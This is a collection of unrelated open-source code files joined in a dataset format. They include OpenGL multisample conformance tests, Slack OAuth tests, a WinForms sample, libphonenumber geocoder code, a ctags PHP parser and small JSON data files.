&gl_samples_value); GLU_EXPECT_NO_ERROR(gl.getError(), "Failed to retrieve GL_SAMPLES value"); /* Issue call with valid parameters, but invalid index greater than GL_SAMPLES value */ glw::GLfloat val[2]; gl.getMultisamplefv(GL_SAMPLE_POSITION, gl_samples_value + 1, val); /* Check if the expected error code was reported */ if (gl.getError() != GL_INVALID_VALUE) { TCU_FAIL("Invalid error code reported"); } /* Test case passed */ m_testCtx.setTestResult(QP_TEST_RESULT_PASS, "Pass"); return STOP; } /** Constructor. * * @param context Rendering context handle. **/ MultisampleTextureGetMultisamplefvInvalidPnameRejectedTest::MultisampleTextureGetMultisamplefvInvalidPnameRejectedTest( Context& context) : TestCase(context, "multisample_texture_get_multisamplefv_invalid_pname_rejected", "Verifies GetMultisamplefv() rejects invalid pname") { /* Left blank on purpose */ } /** Executes test iteration. * * @return Returns STOP when test has finished executing, CONTINUE if more iterations are needed. */ tcu::TestNode::IterateResult MultisampleTextureGetMultisamplefvInvalidPnameRejectedTest::iterate() { const glw::Functions& gl = m_context.getRenderContext().getFunctions(); /* Issue call with valid parameters, but invalid pname GL_SAMPLES */ glw::GLfloat val[2]; gl.getMultisamplefv(GL_SAMPLES, 0, val); /* Check if the expected error code was reported */ glw::GLenum error_code = gl.getError(); if (error_code != GL_INVALID_ENUM) { TCU_FAIL("Invalid error code reported"); } /* Test case passed */ m_testCtx.setTestResult(QP_TEST_RESULT_PASS, "Pass"); return STOP; } /** Constructor. * * @param context Rendering context handle. **/ MultisampleTextureGetMultisamplefvNullValArgumentsAcceptedTest:: MultisampleTextureGetMultisamplefvNullValArgumentsAcceptedTest(Context& context) : TestCase(context, "multisample_texture_get_multisamplefv_null_val_arguments_accepted", "Verifies NULL val arguments accepted for valid glGetMultisamplefv() calls.") , fbo_id(0) , to_2d_multisample_id(0) { /* Left blank on purpose */ } /** Executes test iteration. * * @return Returns STOP when test has finished executing, CONTINUE if more iterations are needed. */ tcu::TestNode::IterateResult MultisampleTextureGetMultisamplefvNullValArgumentsAcceptedTest::iterate() { /* Issue call with valid parameters, but invalid pname GL_SAMPLES */ glw::GLenum error_code = GL_NO_ERROR; const glw::Functions& gl = m_context.getRenderContext().getFunctions(); /* gl.getMultisamplefv(GL_SAMPLES, 0, NULL) is not legal, removed */ /* Create multisampled FBO, as default framebuffer is not multisampled */ gl.genTextures(1, &to_2d_multisample_id); GLU_EXPECT_NO_ERROR(gl.getError(), "glGenTextures() call failed"); if (to_2d_multisample_id == 0) { TCU_FAIL("Texture object has not been generated properly"); } glw::GLint samples = 0; gl.getInternalformativ(GL_TEXTURE_2D_MULTISAMPLE, /* target */ GL_RGBA8, GL_SAMPLES, 1, /* bufSize */ &samples); GLU_EXPECT_NO_ERROR(gl.getError(), "getInternalformativ() call failed"); gl.bindTexture(GL_TEXTURE_2D_MULTISAMPLE, to_2d_multisample_id); /* Configure the texture object storage */ gl.texStorage2DMultisample(GL_TEXTURE_2D_MULTISAMPLE, samples, GL_RGBA8, 1, /* width */ 1, /* height */ GL_TRUE); /* fixedsamplelocations */ GLU_EXPECT_NO_ERROR(gl.getError(), "texStorage2DMultisample() call failed"); gl.genFramebuffers(1, &fbo_id); GLU_EXPECT_NO_ERROR(gl.getError(), "glGenFramebuffers() call failed"); if (fbo_id == 0) { TCU_FAIL("Framebuffer object has not been generated properly"); } gl.bindFramebuffer(GL_DRAW_FRAMEBUFFER, fbo_id); gl.framebufferTexture2D(GL_DRAW_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D_MULTISAMPLE, to_2d_multisample_id, 0); GLU_EXPECT_NO_ERROR(gl.getError(), "Could not set up framebuffer's attachments"); glw::GLenum fbo_completeness_status = 0; fbo_completeness_status = gl.checkFramebufferStatus(GL_DRAW_FRAMEBUFFER); if (fbo_completeness_status != GL_FRAMEBUFFER_COMPLETE) { m_testCtx.getLog() << tcu::TestLog::Message << "Source FBO completeness status is: " << fbo_completeness_status << ", expected: GL_FRAMEBUFFER_COMPLETE" << tcu::TestLog::EndMessage; TCU_FAIL("Source FBO is considered incomplete which is invalid"); } gl.bindFramebuffer(GL_DRAW_FRAMEBUFFER, fbo_id); /* Get GL_SAMPLES value */ glw::GLint gl_samples_value = 0; gl.getIntegerv(GL_SAMPLES, &gl_samples_value); error_code = gl.getError(); GLU_EXPECT_NO_ERROR(error_code, "Failed to retrieve GL_SAMPLES value"); glw::GLfloat val[2]; gl.getMultisamplefv(GL_SAMPLE_POSITION, 0, val); error_code = gl.getError(); GLU_EXPECT_NO_ERROR(error_code, "glGetMultisamplefv() call failed"); /* Iterate through valid index values */ for (glw::GLint index = 0; index < gl_samples_value; ++index) { /* Execute the test */ gl.getMultisamplefv(GL_SAMPLE_POSITION, index, val); error_code = gl.getError(); GLU_EXPECT_NO_ERROR(error_code, "A valid glGetMultisamplefv() call reported an error"); } /* for (all valid index argument values) */ /* Test case passed */ m_testCtx.setTestResult(QP_TEST_RESULT_PASS, "Pass"); return STOP; } /** Deinitializes ES objects created during test execution */ void MultisampleTextureGetMultisamplefvNullValArgumentsAcceptedTest::deinit() { const glw::Functions& gl = m_context.getRenderContext().getFunctions(); /* Unbind framebuffer object bound to GL_DRAW_FRAMEBUFFER target */ gl.bindFramebuffer(GL_DRAW_FRAMEBUFFER, 0); /* Unbind texture object bound to GL_TEXTURE_2D_MULTISAMPLE texture target */ gl.bindTexture(GL_TEXTURE_2D_MULTISAMPLE, 0); /* Delete a 2D multisample texture object of id to_2d_multisample_id */ if (to_2d_multisample_id != 0) { gl.deleteTextures(1, &to_2d_multisample_id); to_2d_multisample_id = 0; } /* Delete a framebuffer object of id fbo_id */ if (fbo_id != 0) { gl.deleteFramebuffers(1, &fbo_id); fbo_id = 0; } } /** Constructor. * * @param context Rendering context handle. **/ MultisampleTextureGetMultisamplefvSamplePositionValuesValidationTest:: MultisampleTextureGetMultisamplefvSamplePositionValuesValidationTest(Context& context) : TestCase(context, "multisample_texture_get_multisamplefv_sample_position_values_validation", "Verifies spec-wise correct values are reported for valid calls with GL_SAMPLE_POSITION pname") { /* Left blank on purpose */ } /** Executes test iteration. * * @return Returns STOP when test has finished executing, CONTINUE if more iterations are needed. */ tcu::TestNode::IterateResult MultisampleTextureGetMultisamplefvSamplePositionValuesValidationTest::iterate() { /* Get GL_SAMPLES value */ const glw::Functions& gl = m_context.getRenderContext().getFunctions(); glw::GLint gl_samples_value = 0; gl.getIntegerv(GL_SAMPLES, &gl_samples_value); GLU_EXPECT_NO_ERROR(gl.getError(), "Failed to retrieve GL_SAMPLES value"); /* Iterate through valid index values */ for (glw::GLint index = 0; index < gl_samples_value; ++index) { /* Execute the test */ glw::GLfloat val[2] = { -1.0f, -1.0f }; gl.getMultisamplefv(GL_SAMPLE_POSITION, index, val); GLU_EXPECT_NO_ERROR(gl.getError(), "A valid glGetMultisamplefv() call reported an error"); if (val[0] < 0.0f || val[0] > 1.0f || val[1] < 0.0f || val[1] > 1.0f) { m_testCtx.getLog() << tcu::TestLog::Message << "One or more coordinates used to describe sample position: " << "(" << val[0] << ", " << val[1] << ") is outside the valid <0, 1> range." << tcu::TestLog::EndMessage; TCU_FAIL("Invalid sample position reported"); } } /* for (all valid index argument values) */ /* Test case passed */ m_testCtx.setTestResult(QP_TEST_RESULT_PASS, "Pass"); return STOP; } } /* glcts namespace */
4,080
504
<filename>tests/slack_bolt/oauth/test_internals.py from slack_bolt.oauth.internals import build_detailed_error class TestOAuthInternals: def test_build_detailed_error_invalid_browser(self): result = build_detailed_error("invalid_browser") assert result.startswith("invalid_browser: This can occur due to page reload, ") def test_build_detailed_error_invalid_state(self): result = build_detailed_error("invalid_state") assert result.startswith( "invalid_state: The state parameter is no longer valid." ) def test_build_detailed_error_missing_code(self): result = build_detailed_error("missing_code") assert result.startswith( "missing_code: The code parameter is missing in this redirection." ) def test_build_detailed_error_storage_error(self): result = build_detailed_error("storage_error") assert result.startswith( "storage_error: The app's server encountered an issue. Contact the app developer." ) def test_build_detailed_error_others(self): result = build_detailed_error("access_denied") assert result.startswith( "access_denied: This error code is returned from Slack. Refer to the documents for details." )
498
1,600
<filename>chapter-05/recipe-07/cxx-example/ubsan-example.cpp int main(int argc, char **argv) { int k = 0x7fffffff; k += argc; return 0; }
63
421
<filename>samples/snippets/cpp/VS_Snippets_Winforms/SplitContainerEvents/CPP/splitcontainerevents.cpp // <snippet1> #using <System.Data.dll> #using <System.Windows.Forms.dll> #using <System.dll> #using <System.Drawing.dll> using namespace System; using namespace System::Drawing; using namespace System::Collections; using namespace System::ComponentModel; using namespace System::Windows::Forms; using namespace System::Data; public ref class Form1: public System::Windows::Forms::Form { private: System::Windows::Forms::SplitContainer^ splitContainer1; public: // Create an empty Windows form. Form1() { InitializeComponent(); } private: void InitializeComponent() { splitContainer1 = gcnew System::Windows::Forms::SplitContainer; splitContainer1->SuspendLayout(); SuspendLayout(); // Place a basic SplitContainer control onto Form1. splitContainer1->Dock = System::Windows::Forms::DockStyle::Fill; splitContainer1->Location = System::Drawing::Point( 0, 0 ); splitContainer1->Name = "splitContainer1"; splitContainer1->Size = System::Drawing::Size( 292, 273 ); splitContainer1->SplitterDistance = 52; splitContainer1->SplitterWidth = 6; splitContainer1->TabIndex = 0; splitContainer1->Text = "splitContainer1"; // Add the event handler for the SplitterMoved event. splitContainer1->SplitterMoved += gcnew System::Windows::Forms::SplitterEventHandler( this, &Form1::splitContainer1_SplitterMoved ); // Add the event handler for the SplitterMoving event. splitContainer1->SplitterMoving += gcnew System::Windows::Forms::SplitterCancelEventHandler( this, &Form1::splitContainer1_SplitterMoving ); // This is the left panel of the vertical SplitContainer control. splitContainer1->Panel1->Name = "splitterPanel1"; // This is the right panel of the vertical SplitContainer control. splitContainer1->Panel2->Name = "splitterPanel2"; // Lay out the basic properties of the form. ClientSize = System::Drawing::Size( 292, 273 ); Controls->Add( splitContainer1 ); Name = "Form1"; Text = "Form1"; splitContainer1->ResumeLayout( false ); ResumeLayout( false ); } void splitContainer1_SplitterMoved( System::Object^ /*sender*/, System::Windows::Forms::SplitterEventArgs^ /*e*/ ) { // Define what happens when the splitter is no longer moving. ::Cursor::Current = System::Windows::Forms::Cursors::Default; } void splitContainer1_SplitterMoving( System::Object^ /*sender*/, System::Windows::Forms::SplitterCancelEventArgs ^ /*e*/ ) { // Define what happens while the splitter is moving. ::Cursor::Current = System::Windows::Forms::Cursors::NoMoveVert; } }; [STAThread] int main() { Application::Run( gcnew Form1 ); } // </snippet1>
1,133
567
""" Test CQNode functionality """ import sql_crawler.cq_node as cq_node def mock_node(): node = cq_node.CQNode("https://google.com", 5) return node def test_url(): assert mock_node().get_url() == "https://google.com" def test_depth(): assert mock_node().get_depth() == 5
113
348
{"nom":"Vauhallan","circ":"5ème circonscription","dpt":"Essonne","inscrits":1559,"abs":562,"votants":997,"blancs":6,"nuls":4,"exp":987,"res":[{"nuance":"REM","nom":"<NAME>","voix":475},{"nuance":"LR","nom":"Mme <NAME>","voix":199},{"nuance":"FI","nom":"<NAME>","voix":74},{"nuance":"SOC","nom":"Mme <NAME>","voix":69},{"nuance":"FN","nom":"Mme <NAME>","voix":56},{"nuance":"DLF","nom":"Mme <NAME>","voix":28},{"nuance":"ECO","nom":"M. <NAME>","voix":25},{"nuance":"COM","nom":"Mme <NAME>","voix":22},{"nuance":"ECO","nom":"<NAME>","voix":14},{"nuance":"DIV","nom":"M. <NAME>","voix":10},{"nuance":"DIV","nom":"M. <NAME>","voix":8},{"nuance":"DIV","nom":"M. <NAME>","voix":4},{"nuance":"DIV","nom":"<NAME>","voix":2},{"nuance":"EXG","nom":"<NAME>","voix":1},{"nuance":"DVD","nom":"Mme <NAME>","voix":0}]}
324
1,590
{ "parameters": { "hubName": "sdkTestHub", "resourceGroupName": "TestHubRG", "widgetTypeName": "ActivityGauge", "api-version": "2016-01-01", "subscriptionId": "subid" }, "responses": { "200": { "body": { "id": "/subscriptions/c909e979-ef71-4def-a970-bc7c154db8c5/resourceGroups/TestHubRG/providers/Microsoft.CustomerInsights/hubs/sdkTestHub/widgetTypes/ActivityGauge", "name": "sdkTestHub/ActivityGauge", "properties": { "widgetTypeName": "ActivityGauge", "tenantId": "*", "description": "", "definition": "", "imageUrl": "", "widgetVersion": "2016-01-01" }, "type": "Microsoft.CustomerInsights/hubs/widgetTypes" } } } }
372
1,514
#pragma once #include "afxwin.h" // LanguagesDlg dialog class LanguagesDlg : public CDialog { DECLARE_DYNAMIC(LanguagesDlg) public: LanguagesDlg(CWnd* pParent = NULL); // standard constructor virtual ~LanguagesDlg(); // Dialog Data enum { IDD = IDD_LANGUAGES }; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support virtual BOOL OnInitDialog(); void OnSelchangeListThemes(); void OnSelchangeListLanguages(); DECLARE_MESSAGE_MAP() public: CListBox m_listThemes; CListBox m_listLanguages; afx_msg void OnBnClickedButtonCreate(); afx_msg void OnBnClickedButtonDelete(); afx_msg void OnBnClickedButtonExport(); afx_msg void OnBnClickedButtonImport(); CButton m_buttonExportAlreadyTranslated; afx_msg void OnBnClickedCheckLanguage(); };
298
686
/* * (C) Copyright IBM Corp. 2019, 2020. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. */ package com.ibm.watson.common; /** The Interface WatsonHttpHeaders. */ public interface WatsonHttpHeaders { /** Allow Watson to collect the payload. */ String X_WATSON_LEARNING_OPT_OUT = "X-Watson-Learning-Opt-Out"; /** Header containing analytics info. */ String X_IBMCLOUD_SDK_ANALYTICS = "X-IBMCloud-SDK-Analytics"; /** Mark API calls as tests. */ String X_WATSON_TEST = "X-Watson-Test"; }
295
3,442
/* * Jitsi, the OpenSource Java VoIP and Instant Messaging client. * * Copyright @ 2015 Atlassian Pty Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package net.java.sip.communicator.service.protocol; /** * The <tt>OperationSetResourceAwareTelephony</tt> defines methods for creating * a call toward a specific resource, from which a callee is connected. * * @author <NAME> */ public interface OperationSetResourceAwareTelephony extends OperationSet { /** * Creates a new <tt>Call</tt> and invites a specific <tt>CallPeer</tt> * given by her <tt>Contact</tt> on a specific <tt>ContactResource</tt> to * it. * * @param callee the address of the callee who we should invite to a new * call * @param calleeResource the specific resource to which the invite should be * sent * @return a newly created <tt>Call</tt>. The specified <tt>callee</tt> is * available in the <tt>Call</tt> as a <tt>CallPeer</tt> * @throws OperationFailedException with the corresponding code if we fail * to create the call */ public Call createCall(Contact callee, ContactResource calleeResource) throws OperationFailedException; /** * Creates a new <tt>Call</tt> and invites a specific <tt>CallPeer</tt> * given by her <tt>Contact</tt> on a specific <tt>ContactResource</tt> to * it. * * @param callee the address of the callee who we should invite to a new * call * @param calleeResource the specific resource to which the invite should be * sent * @return a newly created <tt>Call</tt>. The specified <tt>callee</tt> is * available in the <tt>Call</tt> as a <tt>CallPeer</tt> * @throws OperationFailedException with the corresponding code if we fail * to create the call */ public Call createCall(String callee, String calleeResource) throws OperationFailedException; /** * Creates a new <tt>Call</tt> and invites a specific <tt>CallPeer</tt> to * it given by her <tt>String</tt> URI. * * @param uri the address of the callee who we should invite to a new * <tt>Call</tt> * @param calleeResource the specific resource to which the invite should be * sent * @param conference the <tt>CallConference</tt> in which the newly-created * <tt>Call</tt> is to participate * @return a newly created <tt>Call</tt>. The specified <tt>callee</tt> is * available in the <tt>Call</tt> as a <tt>CallPeer</tt> * @throws OperationFailedException with the corresponding code if we fail * to create the call */ public Call createCall(String uri, String calleeResource, CallConference conference) throws OperationFailedException; /** * Creates a new <tt>Call</tt> and invites a specific <tt>CallPeer</tt> * given by her <tt>Contact</tt> to it. * * @param callee the address of the callee who we should invite to a new * call * @param calleeResource the specific resource to which the invite should be * sent * @param conference the <tt>CallConference</tt> in which the newly-created * <tt>Call</tt> is to participate * @return a newly created <tt>Call</tt>. The specified <tt>callee</tt> is * available in the <tt>Call</tt> as a <tt>CallPeer</tt> * @throws OperationFailedException with the corresponding code if we fail * to create the call */ public Call createCall(Contact callee, ContactResource calleeResource, CallConference conference) throws OperationFailedException; }
1,405
314
<reponame>jwilk-forks/pyfilesystem<filename>fs/tests/test_opener.py """ fs.tests.test_opener: testcases for FS opener """ import unittest import tempfile import shutil from fs.opener import opener from fs import path class TestOpener(unittest.TestCase): def setUp(self): self.temp_dir = tempfile.mkdtemp(u"fstest_opener") def tearDown(self): shutil.rmtree(self.temp_dir) def testOpen(self): filename = path.join(self.temp_dir, 'foo.txt') file_object = opener.open(filename, 'wb') file_object.close() self.assertTrue(file_object.closed)
256
4,756
<gh_stars>1000+ // Copyright (C) 2012 The Libphonenumber Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Author: <NAME> #include "phonenumbers/geocoding/phonenumber_offline_geocoder.h" #include <algorithm> #include <string> #include <unicode/unistr.h> // NOLINT(build/include_order) #include "phonenumbers/geocoding/area_code_map.h" #include "phonenumbers/geocoding/geocoding_data.h" #include "phonenumbers/geocoding/mapping_file_provider.h" #include "phonenumbers/phonenumberutil.h" #include "phonenumbers/stl_util.h" #include "absl/synchronization/mutex.h" namespace i18n { namespace phonenumbers { using icu::UnicodeString; using std::string; namespace { // Returns true if s1 comes strictly before s2 in lexicographic order. bool IsLowerThan(const char* s1, const char* s2) { return strcmp(s1, s2) < 0; } } // namespace PhoneNumberOfflineGeocoder::PhoneNumberOfflineGeocoder() { Init(get_country_calling_codes(), get_country_calling_codes_size(), get_country_languages, get_prefix_language_code_pairs(), get_prefix_language_code_pairs_size(), get_prefix_descriptions); } PhoneNumberOfflineGeocoder::PhoneNumberOfflineGeocoder( const int* country_calling_codes, int country_calling_codes_size, country_languages_getter get_country_languages, const char** prefix_language_code_pairs, int prefix_language_code_pairs_size, prefix_descriptions_getter get_prefix_descriptions) { Init(country_calling_codes, country_calling_codes_size, get_country_languages, prefix_language_code_pairs, prefix_language_code_pairs_size, get_prefix_descriptions); } void PhoneNumberOfflineGeocoder::Init( const int* country_calling_codes, int country_calling_codes_size, country_languages_getter get_country_languages, const char** prefix_language_code_pairs, int prefix_language_code_pairs_size, prefix_descriptions_getter get_prefix_descriptions) { phone_util_ = PhoneNumberUtil::GetInstance(); provider_.reset(new MappingFileProvider(country_calling_codes, country_calling_codes_size, get_country_languages)); prefix_language_code_pairs_ = prefix_language_code_pairs; prefix_language_code_pairs_size_ = prefix_language_code_pairs_size; get_prefix_descriptions_ = get_prefix_descriptions; } PhoneNumberOfflineGeocoder::~PhoneNumberOfflineGeocoder() { absl::MutexLock l(&mu_); gtl::STLDeleteContainerPairSecondPointers( available_maps_.begin(), available_maps_.end()); } const AreaCodeMap* PhoneNumberOfflineGeocoder::GetPhonePrefixDescriptions( int prefix, const string& language, const string& script, const string& region) const { string filename; provider_->GetFileName(prefix, language, script, region, &filename); if (filename.empty()) { return NULL; } AreaCodeMaps::const_iterator it = available_maps_.find(filename); if (it == available_maps_.end()) { it = LoadAreaCodeMapFromFile(filename); if (it == available_maps_.end()) { return NULL; } } return it->second; } PhoneNumberOfflineGeocoder::AreaCodeMaps::const_iterator PhoneNumberOfflineGeocoder::LoadAreaCodeMapFromFile( const string& filename) const { const char** const prefix_language_code_pairs_end = prefix_language_code_pairs_ + prefix_language_code_pairs_size_; const char** const prefix_language_code_pair = std::lower_bound(prefix_language_code_pairs_, prefix_language_code_pairs_end, filename.c_str(), IsLowerThan); if (prefix_language_code_pair != prefix_language_code_pairs_end && filename.compare(*prefix_language_code_pair) == 0) { AreaCodeMap* const m = new AreaCodeMap(); m->ReadAreaCodeMap(get_prefix_descriptions_( prefix_language_code_pair - prefix_language_code_pairs_)); return available_maps_.insert(AreaCodeMaps::value_type(filename, m)).first; } return available_maps_.end(); } string PhoneNumberOfflineGeocoder::GetCountryNameForNumber( const PhoneNumber& number, const Locale& language) const { string region_code; phone_util_->GetRegionCodeForNumber(number, &region_code); return GetRegionDisplayName(&region_code, language); } string PhoneNumberOfflineGeocoder::GetRegionDisplayName( const string* region_code, const Locale& language) const { if (region_code == NULL || region_code->compare("ZZ") == 0 || region_code->compare( PhoneNumberUtil::kRegionCodeForNonGeoEntity) == 0) { return ""; } UnicodeString udisplay_country; icu::Locale("", region_code->c_str()).getDisplayCountry( language, udisplay_country); string display_country; udisplay_country.toUTF8String(display_country); return display_country; } string PhoneNumberOfflineGeocoder::GetDescriptionForValidNumber( const PhoneNumber& number, const Locale& language) const { const char* const description = GetAreaDescription( number, language.getLanguage(), "", language.getCountry()); return *description != '\0' ? description : GetCountryNameForNumber(number, language); } string PhoneNumberOfflineGeocoder::GetDescriptionForValidNumber( const PhoneNumber& number, const Locale& language, const string& user_region) const { // If the user region matches the number's region, then we just show the // lower-level description, if one exists - if no description exists, we will // show the region(country) name for the number. string region_code; phone_util_->GetRegionCodeForNumber(number, &region_code); if (user_region.compare(region_code) == 0) { return GetDescriptionForValidNumber(number, language); } // Otherwise, we just show the region(country) name for now. return GetRegionDisplayName(&region_code, language); } string PhoneNumberOfflineGeocoder::GetDescriptionForNumber( const PhoneNumber& number, const Locale& locale) const { PhoneNumberUtil::PhoneNumberType number_type = phone_util_->GetNumberType(number); if (number_type == PhoneNumberUtil::UNKNOWN) { return ""; } else if (!phone_util_->IsNumberGeographical(number_type, number.country_code())) { return GetCountryNameForNumber(number, locale); } return GetDescriptionForValidNumber(number, locale); } string PhoneNumberOfflineGeocoder::GetDescriptionForNumber( const PhoneNumber& number, const Locale& language, const string& user_region) const { PhoneNumberUtil::PhoneNumberType number_type = phone_util_->GetNumberType(number); if (number_type == PhoneNumberUtil::UNKNOWN) { return ""; } else if (!phone_util_->IsNumberGeographical(number_type, number.country_code())) { return GetCountryNameForNumber(number, language); } return GetDescriptionForValidNumber(number, language, user_region); } const char* PhoneNumberOfflineGeocoder::GetAreaDescription( const PhoneNumber& number, const string& lang, const string& script, const string& region) const { const int country_calling_code = number.country_code(); // NANPA area is not split in C++ code. const int phone_prefix = country_calling_code; absl::MutexLock l(&mu_); const AreaCodeMap* const descriptions = GetPhonePrefixDescriptions( phone_prefix, lang, script, region); const char* description = descriptions ? descriptions->Lookup(number) : NULL; // When a location is not available in the requested language, fall back to // English. if ((!description || *description == '\0') && MayFallBackToEnglish(lang)) { const AreaCodeMap* default_descriptions = GetPhonePrefixDescriptions( phone_prefix, "en", "", ""); if (!default_descriptions) { return ""; } description = default_descriptions->Lookup(number); } return description ? description : ""; } // Don't fall back to English if the requested language is among the following: // - Chinese // - Japanese // - Korean bool PhoneNumberOfflineGeocoder::MayFallBackToEnglish( const string& lang) const { return lang.compare("zh") && lang.compare("ja") && lang.compare("ko"); } } // namespace phonenumbers } // namespace i18n
2,980
486
<filename>bin/php.c<gh_stars>100-1000 /* * $Id: php.c 624 2007-09-15 22:53:31Z jafl $ * * Copyright (c) 2000, <NAME> <<EMAIL>> * * This source code is released for free distribution under the terms of the * GNU General Public License. * * This module contains functions for generating tags for the PHP web page * scripting language. Only recognizes functions and classes, not methods or * variables. * * Parsing PHP defines by <NAME> <<EMAIL>>, Apr 2003. */ /* * INCLUDE FILES */ #include "general.h" /* must always come first */ #include <string.h> #include "parse.h" #include "read.h" #include "vstring.h" /* * DATA DEFINITIONS */ typedef enum { K_CLASS, K_DEFINE, K_FUNCTION, K_VARIABLE } phpKind; #if 0 static kindOption PhpKinds [] = { { TRUE, 'c', "class", "classes" }, { TRUE, 'd', "define", "constant definitions" }, { TRUE, 'f', "function", "functions" }, { TRUE, 'v', "variable", "variables" } }; #endif /* * FUNCTION DEFINITIONS */ /* JavaScript patterns are duplicated in jscript.c */ /* * Cygwin doesn't support non-ASCII characters in character classes. * This isn't a good solution to the underlying problem, because we're still * making assumptions about the character encoding. * Really, these regular expressions need to concentrate on what marks the * end of an identifier, and we need something like iconv to take into * account the user's locale (or an override on the command-line.) */ #ifdef __CYGWIN__ #define ALPHA "[:alpha:]" #define ALNUM "[:alnum:]" #else #define ALPHA "A-Za-z\x7f-\xff" #define ALNUM "0-9A-Za-z\x7f-\xff" #endif static void installPHPRegex (const langType language) { addTagRegex(language, "(^|[ \t])class[ \t]+([" ALPHA "_][" ALNUM "_]*)", "\\2", "c,class,classes", NULL); addTagRegex(language, "(^|[ \t])interface[ \t]+([" ALPHA "_][" ALNUM "_]*)", "\\2", "i,interface,interfaces", NULL); addTagRegex(language, "(^|[ \t])define[ \t]*\\([ \t]*['\"]?([" ALPHA "_][" ALNUM "_]*)", "\\2", "d,define,constant definitions", NULL); addTagRegex(language, "(^|[ \t])function[ \t]+&?[ \t]*([" ALPHA "_][" ALNUM "_]*)", "\\2", "f,function,functions", NULL); addTagRegex(language, "(^|[ \t])(\\$|::\\$|\\$this->)([" ALPHA "_][" ALNUM "_]*)[ \t]*=", "\\3", "v,variable,variables", NULL); addTagRegex(language, "(^|[ \t])(var|public|protected|private|static)[ \t]+\\$([" ALPHA "_][" ALNUM "_]*)[ \t]*[=;]", "\\3", "v,variable,variables", NULL); /* function regex is covered by PHP regex */ addTagRegex (language, "(^|[ \t])([A-Za-z0-9_]+)[ \t]*[=:][ \t]*function[ \t]*\\(", "\\2", "j,jsfunction,javascript functions", NULL); addTagRegex (language, "(^|[ \t])([A-Za-z0-9_.]+)\\.([A-Za-z0-9_]+)[ \t]*=[ \t]*function[ \t]*\\(", "\\2.\\3", "j,jsfunction,javascript functions", NULL); addTagRegex (language, "(^|[ \t])([A-Za-z0-9_.]+)\\.([A-Za-z0-9_]+)[ \t]*=[ \t]*function[ \t]*\\(", "\\3", "j,jsfunction,javascript functions", NULL); } /* Create parser definition structure */ extern parserDefinition* PhpParser (void) { static const char *const extensions [] = { "php", "php3", "phtml", NULL }; parserDefinition* def = parserNew ("PHP"); def->extensions = extensions; def->initialize = installPHPRegex; def->regex = TRUE; return def; } #if 0 static boolean isLetter(const int c) { return (boolean)(isalpha(c) || (c >= 127 && c <= 255)); } static boolean isVarChar1(const int c) { return (boolean)(isLetter (c) || c == '_'); } static boolean isVarChar(const int c) { return (boolean)(isVarChar1 (c) || isdigit (c)); } static void findPhpTags (void) { vString *name = vStringNew (); const unsigned char *line; while ((line = fileReadLine ()) != NULL) { const unsigned char *cp = line; const char* f; while (isspace (*cp)) cp++; if (*(const char*)cp == '$' && isVarChar1 (*(const char*)(cp+1))) { cp += 1; vStringClear (name); while (isVarChar ((int) *cp)) { vStringPut (name, (int) *cp); ++cp; } while (isspace ((int) *cp)) ++cp; if (*(const char*) cp == '=') { vStringTerminate (name); makeSimpleTag (name, PhpKinds, K_VARIABLE); vStringClear (name); } } else if ((f = strstr ((const char*) cp, "function")) != NULL && (f == (const char*) cp || isspace ((int) f [-1])) && isspace ((int) f [8])) { cp = ((const unsigned char *) f) + 8; while (isspace ((int) *cp)) ++cp; if (*cp == '&') /* skip reference character and following whitespace */ { cp++; while (isspace ((int) *cp)) ++cp; } vStringClear (name); while (isalnum ((int) *cp) || *cp == '_') { vStringPut (name, (int) *cp); ++cp; } vStringTerminate (name); makeSimpleTag (name, PhpKinds, K_FUNCTION); vStringClear (name); } else if (strncmp ((const char*) cp, "class", (size_t) 5) == 0 && isspace ((int) cp [5])) { cp += 5; while (isspace ((int) *cp)) ++cp; vStringClear (name); while (isalnum ((int) *cp) || *cp == '_') { vStringPut (name, (int) *cp); ++cp; } vStringTerminate (name); makeSimpleTag (name, PhpKinds, K_CLASS); vStringClear (name); } else if (strncmp ((const char*) cp, "define", (size_t) 6) == 0 && ! isalnum ((int) cp [6])) { cp += 6; while (isspace ((int) *cp)) ++cp; if (*cp != '(') continue; ++cp; while (isspace ((int) *cp)) ++cp; if ((*cp == '\'') || (*cp == '"')) ++cp; else if (! ((*cp == '_') || isalnum ((int) *cp))) continue; vStringClear (name); while (isalnum ((int) *cp) || *cp == '_') { vStringPut (name, (int) *cp); ++cp; } vStringTerminate (name); makeSimpleTag (name, PhpKinds, K_DEFINE); vStringClear (name); } } vStringDelete (name); } extern parserDefinition* PhpParser (void) { static const char *const extensions [] = { "php", "php3", "phtml", NULL }; parserDefinition* def = parserNew ("PHP"); def->kinds = PhpKinds; def->kindCount = KIND_COUNT (PhpKinds); def->extensions = extensions; def->parser = findPhpTags; return def; } #endif /* vi:set tabstop=4 shiftwidth=4: */
2,868
390
